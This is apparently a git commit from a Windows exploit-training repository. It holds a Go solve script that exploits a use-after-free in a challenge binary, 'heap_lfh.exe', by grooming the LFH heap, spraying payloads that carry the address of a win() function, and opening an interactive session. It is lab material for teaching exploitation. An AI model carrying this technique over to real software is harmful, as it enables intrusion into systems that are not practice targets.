Rename task dirs to 01_info_leak through 07_heap_aslr following a standard learning order (info leak → ROP → fmtstr → heap overflow → UAF → LFH grooming → ASLR bypass). Remove bof_basic, demos, heap_segment, and template directories. Strip debug symbols from all compiled challenge binaries and remove all .exe files from the tree. Strip all explanatory comments from solve scripts. Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
117 lines
3.0 KiB
Go
117 lines
3.0 KiB
Go
package main
|
|
|
|
import (
|
|
"bytes"
|
|
"fmt"
|
|
"log"
|
|
"strconv"
|
|
"strings"
|
|
"winpwn"
|
|
)
|
|
|
|
func parseAddr(line []byte) (uint64, error) {
|
|
idx := bytes.Index(line, []byte("addr=0x"))
|
|
if idx == -1 {
|
|
return 0, fmt.Errorf("no addr= in line %q", line)
|
|
}
|
|
hexPart := line[idx+len("addr=0x"):]
|
|
hexPart = bytes.TrimSpace(hexPart)
|
|
return strconv.ParseUint(string(hexPart), 16, 64)
|
|
}
|
|
|
|
func main() {
|
|
pf, err := winpwn.OpenPE("heap_lfh.exe")
|
|
if err != nil {
|
|
log.Fatalf("OpenPE: %v", err)
|
|
}
|
|
winRVA, err := pf.GetProcAddress("win")
|
|
if err != nil {
|
|
log.Fatalf("win() not found: %v", err)
|
|
}
|
|
base, err := pf.ImageBase()
|
|
if err != nil {
|
|
log.Fatalf("ImageBase: %v", err)
|
|
}
|
|
winAddr := base + winRVA
|
|
pf.Close()
|
|
fmt.Printf("[+] win() address: 0x%X\n", winAddr)
|
|
|
|
tube, err := winpwn.Spawn("heap_lfh.exe")
|
|
if err != nil {
|
|
log.Fatalf("Spawn: %v", err)
|
|
}
|
|
|
|
if _, err := tube.RecvLine(); err != nil {
|
|
log.Fatalf("RecvLine: %v", err)
|
|
}
|
|
|
|
for i := 0; i < 5; i++ {
|
|
if err := tube.SendLine([]byte(fmt.Sprintf("A filler%d", i))); err != nil {
|
|
log.Fatalf("SendLine: %v", err)
|
|
}
|
|
if _, err := tube.RecvLine(); err != nil {
|
|
log.Fatalf("RecvLine: %v", err)
|
|
}
|
|
}
|
|
|
|
if err := tube.SendLine([]byte("A victim")); err != nil {
|
|
log.Fatalf("SendLine: %v", err)
|
|
}
|
|
resp, err := tube.RecvLine()
|
|
if err != nil {
|
|
log.Fatalf("RecvLine: %v", err)
|
|
}
|
|
victimAddr, err := parseAddr(resp)
|
|
if err != nil {
|
|
log.Fatalf("parse victim addr: %v", err)
|
|
}
|
|
victimID := 5
|
|
fmt.Printf("[+] victim note id=%d addr=0x%X\n", victimID, victimAddr)
|
|
|
|
if err := tube.SendLine([]byte(fmt.Sprintf("F %d", victimID))); err != nil {
|
|
log.Fatalf("SendLine: %v", err)
|
|
}
|
|
if _, err := tube.RecvLine(); err != nil {
|
|
log.Fatalf("RecvLine: %v", err)
|
|
}
|
|
|
|
payload := bytes.Repeat([]byte{0x41}, 24)
|
|
payload = append(payload, winpwn.P64(winAddr)...)
|
|
payloadHex := winpwn.Enhex(payload)
|
|
|
|
const maxAttempts = 64
|
|
victim := winpwn.SprayResult[uint64]{ID: victimID, Key: victimAddr}
|
|
_, _, attempts, ok, err := winpwn.SprayAndFind(
|
|
[]winpwn.SprayResult[uint64]{victim},
|
|
maxAttempts,
|
|
func(attempt int) (winpwn.SprayResult[uint64], error) {
|
|
if err := tube.SendLine([]byte("B " + payloadHex)); err != nil {
|
|
return winpwn.SprayResult[uint64]{}, fmt.Errorf("SendLine: %w", err)
|
|
}
|
|
resp, err := tube.RecvLine()
|
|
if err != nil {
|
|
return winpwn.SprayResult[uint64]{}, fmt.Errorf("RecvLine: %w", err)
|
|
}
|
|
if !strings.HasPrefix(string(resp), "OK") {
|
|
return winpwn.SprayResult[uint64]{}, fmt.Errorf("unexpected response: %q", resp)
|
|
}
|
|
addr, err := parseAddr(resp)
|
|
return winpwn.SprayResult[uint64]{ID: attempt, Key: addr}, err
|
|
},
|
|
func(a, b uint64) bool { return a == b },
|
|
)
|
|
if err != nil {
|
|
log.Fatalf("spray: %v", err)
|
|
}
|
|
if !ok {
|
|
log.Fatalf("never landed on the freed slot within %d attempts", maxAttempts)
|
|
}
|
|
fmt.Printf("[+] spray hit the freed slot after %d attempt(s)\n", attempts)
|
|
|
|
if err := tube.SendLine([]byte(fmt.Sprintf("P %d", victimID))); err != nil {
|
|
log.Fatalf("SendLine: %v", err)
|
|
}
|
|
|
|
tube.Interactive()
|
|
}
|